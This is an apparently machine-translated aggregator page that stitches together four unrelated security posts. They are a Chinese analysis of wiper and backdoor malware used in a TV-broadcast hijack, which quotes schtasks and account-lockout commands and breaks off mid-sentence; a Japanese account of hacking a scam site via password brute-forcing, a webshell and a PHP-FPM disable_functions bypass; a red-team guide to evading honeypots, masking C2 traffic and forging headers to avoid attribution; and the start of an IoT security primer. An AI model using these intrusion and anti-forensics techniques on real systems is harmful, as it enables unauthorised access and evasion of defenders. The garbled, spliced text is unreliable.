為了組合所有的惡意組件，另一個腳本layoutabcpxtveni.bat做了以下幾件事：

將位於c:\windows\temp\TSE_90E11.003 的MP4 視頻文件重命名為TSE_90E11.mp4。這個文件可能是通過某個後門釋放到那裡的，我們稍後會討論這個問題。

阻止QTV.CG. server .exe(可能是Autocue QTV廣播軟件的一部分)的運行進程，並用SimplePlayout(攻擊者用來播放視頻的工具)覆蓋位於D: CG 1400\QTV.CG. server .exe的原始服務器。

將c:\windows\SimplePlayout.exe拷貝到QTV.CG.Server.exe所在目錄下的SimplePlayout.ini。至少這個批處理腳本示例包含一個拼寫錯誤，因為攻擊者可能打算將SimplePlayout.ini複製到惡意可執行文件附近。

從初始位置和替換位置運行SimplePlayout.exe。

在我們發現的另一組相關工件中，攻擊者利用了包含名為TSE_90E11.001 的25 秒音軌的WAV 文件，類似於被劫持的電視流中使用的MP4 文件的文件名。一個名為Avar.exe 的可執行文件基於NAudio，一個開源的.NET 音頻庫，負責播放WAV 文件。與SimplePlayout.exe 不同，Avar.exe 不依賴於配置文件。相反，它包含硬編碼為C:\windows\temp\TSE_90E11.001 的WAV 文件的路徑。執行後，Avar.exe 會嘗試枚舉所有活動的音頻設備並在每個設備上播放WAV 文件。

最後，一個名為avapweiguyyyy .bat的批處理腳本將這些組件組合在一起。它阻止一個名為Avar.exe的進程，並在C:\ProgramFiles\MIT\AVA\ava.exe中用Avar.exe替換可執行文件。在文件和文件夾中使用的名字Ava可能表明這些文件是為IRIB的Ava電台準備的，儘管它也受到了這次攻擊的影響，這一事實尚未得到官方證實。

wiper我們發現了兩個相同的.NET 示例，名為msdskint.exe，其主要目的是擦除計算機的文件、驅動器和MBR，這也可以從PDB 路徑推導出：C:\work\wiper\Wiper\obj\Release\Wiper.pdb。此外，該惡意軟件還能夠清除Windows 事件日誌、刪除備份、終止進程、更改用戶密碼等。兩個示例均由相同的提交者在與先前討論的工件相同的時間範圍內上傳到VT。

3.png

wiper有三種模式來破壞文件，並用隨機值填充字節：

Default-覆蓋文件中每個1024 字節塊的前200 字節；

light-wipe-覆蓋配置中指定的多個塊；

full_purge-覆蓋整個文件內容；

wiper通過以下方式之一獲取擦除過程的配置：在命令行參數中，或從文件code meciwipe.ini /code 中的硬編碼默認配置和排除列表中獲取。默認配置包含一個與Windows操作系統和Kaspersky 和Symantec 安全產品相關的預定義排除列表，這些產品在伊朗被廣泛使用：

4.png

如果惡意軟件沒有參數，它將作為一個名為“Service1”的服務運行。

主要的wiper函數會計算每個參數的FNV1A32哈希並使用它來確定接下來的行為：

5.png

DestroyMBR標誌使惡意軟件可以通過寫入一個硬編碼的base64編碼的二進製文件precg.exe，然後運行它來擦除MBR。 precg.exe 是一個基於Gh0stRAT MBR wiper的MBRKiller。

擦除過程從搜索最後一個被擦除的文件開始，惡意軟件將其路徑寫入名為lastfile 的文件（或在wipe_stage_2 的情況下為lastfile2）。然後，檢查每個文件以查看它是否被排除或其擴展名不在預定義列表中：

6.png

full_purge模式覆蓋文件的所有字節，對於來自的purge_extensions列表的文件總是啟用：

7.png

如果啟用了delete_files 標誌，則wiper還會在覆蓋文件後刪除它們。

我們發現了與wiper示例一起提交的其他取證工件，證明wiper確實是在電視環境中執行的：

lastfile2 包含最後一個擦除文件的路徑：C:\users\tpa\videos\captures\desktop.ini。僅當wiper以wipe_stage_2模式運行時，才會創建此文件，該模式會在wiper過程之後刪除文件。

breakusufjkjdil.bat 文件，顯示至少一個wiper實例應該運行以終止現有用戶會話並更改所有用戶的密碼：'c:\windows\temp\msdskint.exe' -break-users * -sessi。

事件查看器應用程序日誌文件顯示與擦除服務Service1 相關的事件。日誌包含攻擊後幾個小時的時間戳：

8.png

後門WinScreeny此工具的名稱來自PDB 路徑：C:\work\winscreeny\winscreeny\obj\Debug\winscreeny.pdb。該後門的主要目的是對受害者的計算機進行截屏。我們找到了這個後門的兩個示例：第一個是上傳到VT的發布版本，名為mslicval.exe，第二個是名為precg2.exe的調試版本。不用說，這些文件和我們發現的其他工件一起提交給了VT。

根據命令行參數，後門可以以不同的方式運行：

None-運行一個SimpleTCPServer 偵聽端口18000。

Service-作為名為Service1 的服務運行。啟動時，該服務使用以下命令創建計劃任務： schtasks /create /TN \'Microsoft\\Windows\\.NET Framework\\.NETASM\'/TR \” file_path \' /ST current_time + 1:10 /SC ONCE /F。

Setup-嘗試使用LsaAddAccountRights API 函數獲取權限，然後將自身作為服務運行。

惡意軟件在端口18000 上偵聽數據包，並且對於每個數據包，它會檢查消息是否包含使用POST 方法發送的scr=命令。如果滿足這些條件，惡意軟件會將屏幕截圖保存到名為screeny- timestamp .png 的文件中，如果成功，則會向攻擊者返回“完成”消息。

9.png

有趣的是，該惡意軟件的發布版本還能夠執行命令：它支持s=命令，該命令獲取一個base64 編碼的字符串與1 字節密鑰0x24 進行異或運算。解碼後的字符串由cmd運行，執行結果返回給服務器。處理這個特性的代碼也在我們稍後討論的HttpService 後門中被重用。

HttpCallbackServiceHttpCallbackService是一個遠程管理工具(RAT)，有一個熟悉的PDB路徑：C:\work\simpleserver\HttpCallbackService\obj\Release\HttpCallbackService. PDB。它的CC URL可以用兩種不同的方式指定：命令行參數或配置文件callservice.ini。接下來，接收到的值會附加一個短字符串：m=如果URL 以“.aspx”或“.php”結尾； m=，如果URL 以“/”結尾，或者/m=在任何其他情況下。

不幸的是，我們沒有找到任何與HttpCallbackService 相關的配置或其他工件，因此這次攻擊中的CC 服務器仍然未知。

每隔5秒，HttpCallbackService使用webClient向CC URL發送一個請求。 DownloadString方法接收由' \r\n '分割的命令列表。如果惡意軟件在過去的5分鐘內沒有收到任何命令，並且isStayAliveMode標誌被禁用，這個時間幀將增加到1分鐘。

這些是RAT 支持的命令：

10.png

當命令的結果上傳到服務器時，數據被發送到一個稍微不同的URL：之前定義的CC URL，現在附加了“1”。 使用以下格式的WebClient.UploadValues 方法發送數據：

download=file_name \r\n--------------\r\n base64 of chunk 用於下載命令；

command \r\n--------------\r\n result 用於cmd 命令；

HttpService

HttpService 是另一個偵聽指定端口的後門：它可以是命令行參數、取決於示例的預定義端口或配置文件中的值： exe_name .ini。我們發現了幾個默認端口為19336、19334、19333 的示例，以及上傳到VT 的兩個不同的配置文件，值分別為19336 和19335。

每個示例都有一個硬編碼版本。我們發現的文件屬於三個不同的版本：0.0.5、0.0.11v4H 和0.0.15v4H。 0.0.5 版本使用Simple TCP 服務器偵聽指定端口，而0.0.11v4H 和0.0.15v4H 版本基於Simple HTTP Server。它們都使用HTML Agility Pack 進行HTML 解析，使用IonicZip 庫進行壓縮操作。

後門的最高版本（0.0.15v4H）具有多種功能，包括命令執行和文件操作。

命令執行：命令“cmd”使後門通過cmd.exe運行指定命令，並以如下格式返回結果： div style='color: red' result_string /div 。此外，後門可以在收到“i=”命令時啟動交互式cmd shell，其參數可以是：

“1”–從shell 獲取輸出並將其發送回CC。

“2”–結束交互式shell 並清理。

Default-解碼和解密異或字符串，然後在shell 中運行命令並保存輸出。

與WinScreeny 類似，該惡意軟件也具有“s=”命令，其中字符串異或與1 字節密鑰0x24 作為參數。解碼後的字符串由cmd.exe 運行並將結果返回給服務器。

代理連接：收到“p=”或“b=”命令後，後門使用受害者的計算機作為它作為參數獲取的URL 的代理。後門與此URL 通信，重定向CC 服務器的請求，並等待響應將其發送回CC。

下載和上傳文件：“f=”或“1=”命令允許後門從作為參數給定的路徑下載文件，或者將作為參數給定的文件與消息正文的內容一起寫入。在收到“m=”命令後，惡意軟件將消息內容寫入路徑base_directory client_address .out，從base_directory client_address .in 中讀取數據，並將其發送給CC。如果該文件不存在，惡意軟件會創建該文件並將當前日期和時間寫入其中。

運行SQL 命令：“con=”/“c=”命令接收SQL DB 連接字符串和SQL 查詢，並將結果返回給服務器。

操作本地文件：“ path ”命令檢查文件/目錄是否存在，然後根據查詢值執行以下三個運行：

' zip ' -從目錄內容創建一個zip文件，並將其返回給CC；

' unzip ' -使用CC提供的路徑解壓縮文件；

“del”-刪除文件。

有趣的是，在所有這三種情況下，惡意軟件都會將整個目錄內容（包括子目錄）作為HTML 頁面返回，其中包含Zip、Unzip 和Delete 按鈕，具體取決於文件的類型。這是攻擊者端的接口：

11.png

ServerLaunch滴管HttpServer 版本0.0.5 的示例連同其dropper（稱為dwDrvInst.exe）一起提交，它模仿DameWare 可執行的遠程訪問軟件。該工具的PDB 路徑具有相同的模式，C:\work\ServerLaunch\Release\ServerLaunch.pdb。但是，該工具是用C++ 編寫的，而不是像所有其他工具一樣的.NET，並且是在2021 年12 月2 日編譯的，大約是攻擊前2個月。

ServerLaunch 在資源中包含三個可執行文件，分別位於C:\Users\Public\ 中的ionic.zip.dll、httpservice2 和httpservice4。然後惡意軟件不帶任何參數地啟動httpservice2 和httpservice4。它們每個都有一個不同的預定義端口來監聽，這可能允許攻擊者確保CC 通信的某種冗餘。

攻擊中涉及的文件我們已經討論了幾種不同的工具以及與其執行相關的一些工件。很明顯，所有這些工具都是由同一個攻擊者創建並相互關聯的。例如，屏幕截圖工具Winscreeny 不包含將創建的屏幕截圖上傳回攻擊者的功能，這可能意味著它依賴其他後門來執行此操作。所有工具的重複出現的Service1 名稱表明不同的後門，如果在同一台設

HireHackking

要約

最後のストーリーでは、詐欺サーバーの最高の権限は取得されていますが、これは技術的な制御のみであると述べています。ケースを提出したい場合は、携帯電話、銀行カードなどの人員にできるだけ多くの情報を提供する必要がありますが、現時点では収集されていません（特定の時間のソースコードに銀行口座があると述べましたが、それはテストアカウントであることがわかりましたが、Baiduはそれの多くから出てきたことがわかりました.

情報収集

baota Backstage

最初に思い浮かぶのは、私が以前に入ったことのないパゴダパネルのバックエンドです。ログイン情報などがあるはずですが、ログインパスワードは取得できませんでしたが、これはあまり影響を与えませんでした。パゴダデータベースファイル（パネル/data/default.db、sqliteデータベースファイル）に直接アクセスできるため、アカウントに入ってバックアップして、通常のアカウントが圧倒されるのを防ぐためにパスワードを設定します。

cmd-change-baota-password

cmd-baota-backup-user

ログをきれいにして、喜んでログインします。 ㄏ（▔、▔）ㄏ：

front-baota-home

私が最初に見るのはアカウント名です。管理者の携帯電話番号だと思います。ここで完全に読むことができない場合は、設定にアクセスして見てください。

front-baota-lookup-phone-elements

ソースコードからは見られないアスタリスクを備えた4つのミドルディジットを以下に示しますが、これらも紙のトラであり、その後、インターフェイスがデータを要求し、返品情報が完全な携帯電話番号であることがわかったためです。 WeChatで検索して、このアカウントを見つけました。

wechat-baota-phone

しかし、その真正性は不明であり、おそらく単なる表紙なので、最初に覚えておいてください。

新しい出発点

将来のある時点で情報を収集し続けようとしていたとき、私のドメイン名とIPにさえもアクセスできないことがわかりました。私は次の数日間で試してみましたが、収穫後はおそらく逃げていると感じました。当然のことながら、いくつかの情報を除いて、私が取得したすべての許可は無駄になりました。その後、警察が実際に私に連絡したこともありました（私はお茶を飲まなかった、私は良い市民$ _ $です）。私はもう一度私の運を試したかったので、興味深いことが再び起こりました。訪問する前のIPには、このページが表示されました。

front-user-login

まあ、私はその瞬間にタイトルとアイコンをほとんど信じていたことを認めなければならず、それを貫通の正当性を考慮するために3秒を無駄にしました。慎重に考えると、もしそれがその銀行だったら、どのようにしてサーバーを犯罪歴のあるIPに置くことができるかを知っているでしょうか？ページのコンテンツは不合理で、アカウントを登録してログインしました。

front-user-home-1

front-user-home-2

front-user-home-3

脆弱性マイニング

ポートサービス

=_=まあ、それは良いことです。 NSLookupやDIGなどの通常のツールはドメイン名からIPまでのみ解析できるため、次の分析では上記の推測も確認します。これは、IPでドメイン名を確認するトリックでもあります。ただし、HTTPSを使用するそのようなサイトに遭遇した場合、IPへの直接アクセスを制限しない場合は、ページを正常に入力し、ブラウザの左上隅にあるプロトコル名をクリックして、使用する証明書を表示できます。通常の証明書の「発行」値は、サイトのドメイン名です。明らかにここではなく、一時的またはテスト証明書である必要があります。

front-https-cert

次に、ドメイン名を分析します。

cmd-nslookup-domain

ここでは、パブリックDNSを通じて解決されたIPが以前に使用されたものと互換性がないように見えることがわかりました。慎重に考える場合、CDNサービスが使用されるはずです。これらのIPに対応するサーバーは、すべてサービスを提供する3つのパーティ機関です。浸透はそれほど意味がなく、簡単ではありません。ここでは、ソースステーションIPを介して直接入力して申し訳ありません。そうしないと、ドメイン名とCDNを介してソースステーションを取得するのは別の頭痛の種です。

次に、ドメイン名がある場合は、サブドメインの波をスキャンして、潜在的な関連サイトを取得します。

cmd-enum-subdomain

かなりの数があります。最初にバックアップしてから、フロントデスクページの返品データから分析することを覚えています。これはPHPを使用してLinuxサーバーであることがわかりました。これは、以前のWindows IISサーバーとは異なります。ドメイン名がリリースまたは再び販売されているようです。それでは、新しいポートからポートをスキャンしましょう。

nmap-normal-scan

私はまだおなじみの数字を見つけましたが、最初にパスワードを実行しました。私の過去の経験によると、スマートマスターに出会ったときにネットを逃したかもしれないので、思慮深いフルポートスキャンサービスも必要です。

nmap-all-port-scan

確かにいくつかあります。プロトコルに基づいてどのサービスがあるかを大まかに推測できます。それを一つ一つ試してみてください、そして、1つはSSHログインであり、もう1つはパゴダのバックエンドであることがわかります。

cmd-ssh-login

front-bt-login

パゴダにはまだログイン検証があり、爆破する希望はないので、最初に脇に置くことしかできません。

バックエンドディレクトリ

ディレクトリを爆発させる前に、数回ヒットした後、盲目的に背景パスを推測しました。

front-admin-login-jump

front-admin-login

win-win？存在しないものは、片面╮（╯＿╰）╭だけです。ページの簡単な分析の後、ここで魔法のツールを使用する必要はありません。 wfuzzを使用して、アカウントのパスワードの波を実行するだけです。

cmd-wfuzz-admin-login

最初に舞台裏で走り、他の場所を回りましょう。しばらくすると、結果、Yoxi！入って見てください：

front-admin-home

front-admin-products

front-admin-user-bank

front-admin-user-info

front-admin-user-charge

スズメは小さく、すべての内臓がありますが、予想される興味深いものがいくつかあります。

front-admin-user-withdraw

front-admin-risk-control

撤退は言いません。成功することができるかどうかは、管理者の気分によって異なります。以下のものが完全に理解されていないかどうかは関係ありません。たぶん誰もが真実を理解しています。とにかく、それだけです。私はあなたの運命をコントロールし、あなたのリスクを制御します（¬‿¬）。

webshellを取得

私はしばらくして、ページを分析して搾取可能な脆弱性を見つけて、それをガジェットに渡しました。

front-backdoor-phpinfo

再び剣を描く時が来ました：

ant-file-site-root

私はディレクトリに行きましたが、それは単純ではないことがわかりました。以前のドメイン名のいくつかが登場しました。それは小さなサイトグループでしょうか？少し後に彼らの建築を理解するのに時間がかかりました。複数のセカンドレベルのドメイン名が現在のIPを指し、いくつかの異なるCDNアドレスを持っています。次に、第2レベルのドメイン名が別のサーバーIPを指します。現在のIPのサーバーには、別の第1レベルのドメイン名に対応する第2レベルのドメイン名が含まれています。これらのサイトは、ほぼ同じコードセットを共有しています。=_=本当に複雑です。それは、うまく計画されていないビジネス拡大のためですか？しかし、それは問題ではありません。サーバーに対応するだけです。

ant-file-more-sites

次に、 /etc /passwdファイルにアクセスしてユーザーを表示します。このファイルはLinuxのすべてのユーザーがアクセスできるためです。

ant-file-passwd

すべてがデフォルトアカウントです。現在、WWWアカウントであるため、 /etc /Shadowファイルにアクセスする許可がありません。このファイルは、システム内のすべてのアカウントのパスワードのハッシュ値を記録するため、次のステップは権限を上げることです。

システムディレクトリを閲覧するとき、PHPMyAdminのログインアドレスを見つけました。前にスキャンしなかったのも不思議ではありません。アクセスポータルを確認するためのランダムな複雑なパスを生成するようにパゴダで構成されている必要があります。

ant-file-pma-path

front-pma-login

アカウントとパスワードは簡単ですが、特定の手段で取得できます。残念ながら、他のパーティは構成されたルートアカウントではなく、サイトにちなんで名付けられたサブアカウントです。これは、サーバーに複数のサイトがあり、権限が高くないためです。最初にログインして、見てください：

front-pma-home

サイトのフロントとバックエンドからのデータが含まれています。最初に有用な情報を見つけます：

front-pma-databases

front-pma-admin-pass-hash

テーブルストレージ管理者情報があります。私はあきらめました。ご存知の場合は、コメントできます。テーブルにはパスワードのハッシュ値があります。最初にそれを確認して、あなたの運を試してください：

front-pma-admin-pass-text

実際には小さなノートブックがあります（実際に他のサイトを入力するための基礎があります）。

小さなエピソード

ディレクトリを閲覧するときに、いくつかの絶妙なガジェットも見つかりました。

ant-file-backdoors

ant-code-backdoor-abcd-passwd

front-backdoor-abcd-login

front-backdoor-abcd-home

front-backdoor-adminer

front-backdoor-file-manage

場所は大きくなく、とても活気があります。反対側は大きな男性でいっぱいで、彼らを怒らせる余裕はありません。まだいくつかのグループのグループがいるようで、彼らを静かに嘘をつき、お互いを愛し、殺します、私は何も見えませんでした（x_x）。

disable_functionsバイパス

私はもともと仮想端末を開くことを計画していましたが、電力を増やす方法を喜んで研究しましたが、稲妻のストライキが開かれました。

ant-shell-error

言うまでもなく、システム実行機能のほとんどは無効です。これは、PHP構成アイテムのDisable_Functions値であり、PHPスクリプトでシステムコマンドを実行できるいくつかの機能を制限するために使用されます。もちろん、いくつかの脆弱性バイパス法もあります。時間を節約するには多くの方法があるので、1つずつ手動でテストすることはなく、既存の統合プラグインを直接使用することはありません。

ant-plugin-disable-functions-menu

ant-plugin-disable-fun-1

Putenvが無効になっているのを見ると、少しがっかりします。これだけでは、ほとんどのバイパスメソッドを思いとどまらせることができますが、使用する方法がまだ残っているため（PHP-FPM）、まだ試してみる必要があります。システム構成ファイルをチェックすることにより、FPMモジュールで使用されるソケット通信方法が構成されてから開始されることがわかりました。

ant-plugin-disable-fun-2

ant-plugin-disable-fun-3

ant-plugin-disable-fun-start

最後のプロンプトはすべて成功しています。チェックによって生成された動的リンクライブラリファイルも正常にアップロードされましたが、端末はまだ開くことができませんでした。返品データが空であることを促し続けました。最初は、プラグインで使用される関数もPHPによって無効になっているため、戻りが空になり、他の搾取可能な脆弱性は見つかりませんでした。このため、それは週のほとんどで立ち往生していました。その後、情報を確認し、使用率を手動で実装する準備をしました。

実際、この方法の原則は大まかです。PHPは動的な言語ですが、Nginxはこれらを処理できないため、HTTPプロトコルと比較できるFastCGIプロトコルが中央にfastCGIプロトコルがあります。 Nginxは、受信したクライアント要求をFastCGIプロトコル形式のデータに変換し、PHPモジュールのPHP-FPMを使用してこれらのFASTCGIプロトコルデータを処理し、処理のためにPHPインタープレターに渡します。完了後、結果データは以前と同じパスでブラウザクライアントに返されます。したがって、通常、LinuxサーバーでPHPプログラムを開始すると、PHP-FPMと呼ばれるサービスが開始されます。これは通常、マシンの9000ポートまたはソケットファイルをリッスンし、NGINX構成ファイルFastCGIアクセスアドレスもこのポートまたはファイルに割り当てられます。これらはすべて、上記の通信プロセスを完了するためです。

ここで利用可能なポイントは、Nginxへのリクエストをバイパスし、PHP-FPMサービスと直接通信することです。理想的には、構成エラーのため、9000がネイティブインターフェイスではなく、外部ネットワークインターフェイスに耳を傾けます。もちろん、この状況は非常にまれですが、これはローカルマシンを聴くことができないという意味ではありません。 PHPプログラムファイルが書き込み可能であるという前提の下で、プログラム内のCurlインターフェイス（またはStream_Socket_Clientがソケットファイル通信要求を開始する）を介してサーバーのネイティブポート9000へのリクエストを開始でき、FastCGIクライアントを模倣して対応する形式のデータを送信し、NGINXをbypass nigpass niart with phpppmatで送信することができます。 SSRF（サーバー側のリクエスト偽造）と呼ばれるこの操作の別のことわざがあります。つまり、サーバー要求の偽造、サーバーはクライアントが正常にアクセスできないイントラネットリソースにアクセスできます。もちろん、その名前と非常によく似た方法もあります。CSRF（クロスサイトリクエスト偽造、クロスサイトリクエスト偽造）がありますが、これは他のクライアントからのログイン資格情報の盗みです。

ここに別の問題があるかもしれません。このように回った後、私はまだ最終的にPHP-FPMを渡します。この構成の関数制限はまだ存在します。

HireHackking

image-20200926004647258

最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。

--- 8SEC.CC

1。ハニーポットシステム

ブラウザの使用量

単一の分離ブラウザ

浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。

Traseless Mode

を使用します

FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。

上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。

ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。

アンチハニーポットプラグイン

ハニーポットをバイパス

AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能

関数

ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI（JSONPコールバック、XSSなど）をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが（さらに検証するために）評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能（すべてのキャッシュおよび保存されたものを含む）をクリアして、ファイルシステムをページで操作できるかどうかを判断します（ここに記述できます）ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。

たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。

ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード（PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性）を構築する

NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。

2。対策を防ぐ

さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。

image-20200925233349340

サーバースプリングボードマシン

広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス（すなわちコントロール）、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。

サーバーインストールアプリケーション/管理

仮想マシンランニングソフトウェア

Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。

3。隠れている情報

Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。

image-20200925233239370

隠された携帯電話番号

Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例：Zhang xx li xx

alipay

WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

https://zhuanlan.zhihu.com/p/95525409

QQ一般的な友達の本名を取得します

https://github.com/anntsmart/qq

使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。

wechat

：ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。

qq

可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。

ネットワークID隠し

ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。

本名は非表示/誤解を招く

です

4。ネットワーク隠蔽

接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。

ss/v2

Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。

利点

短所

従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます

Linux構造：

https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md

vpn l2tp/pptp

ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。

利点

製品リスト：

短所

SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。

sslvpn

SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。

利点

短所

ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C＃/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。

PDBファイル：すべての開発者が知っておくべきこと

5。開発とアプリケーションが隠されています

また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。

デスクトップユーザーを開発およびコンパイルします

github/blog/wechat公式アカウント記事

柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。

6。ネットワークデバイストラフィックの混乱

いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 （フルフローデバイスはありません）

csトラフィックの混乱

AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。

パッケージパッド付きバイト

WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。

パケット混乱低リスクアラーム

通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。

ホストの混乱

赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。

image-20200926004318036

XFFヘッダーの混乱

通常、DNSの特性はブラックドメイン名に定期的に開始されます（有効になっていない場合）

image-20201009113709670

image-20201009112952911

n11lo5jfmu21219.png

この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。

レコードA：

image-20201009115956966

DNS-TXTを有効にした後、特性はより明白です。

image-20201009120341817

image-20201009120805522

DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。

コマンドを実行する特性は投稿です。

HireHackking

物聯網(IoT) 一直是近年來發展最快的技術趨勢之一。根據IoT Analytics的數據，到2025 年，全球可能有超過270 億台聯網設備。

然而，軟件漏洞和網絡攻擊等日益增加的安全問題可能使許多客戶不願使用物聯網設備。這種物聯網安全問題對於在醫療保健、金融、製造、物流、零售和其他已經開始採用物聯網系統的行業中運營的組織來說尤其重要。

在本文中，我們將探討物聯網安全是什麼，以及它為何如此重要，以及關鍵的物聯網安全挑戰和攻擊媒介。我們還討論了在物聯網環境中保護設備、數據和網絡的方法。本文希望對IoT 安全團隊有所幫助。

什麼是物聯網和物聯網安全？物聯網是一個智能設備網絡，它們相互連接，以便在沒有任何人工干預的情況下通過互聯網交換數據。

物聯網系統的架構通常由無線網絡、用於通信的雲數據庫、傳感器、數據處理程序和相互密切交互的智能設備組成。物聯網系統使用以下組件來交換和處理數據：

马云惹不起马云 收集、存儲和共享有關環境和其他設備和組件的數據的智能設備
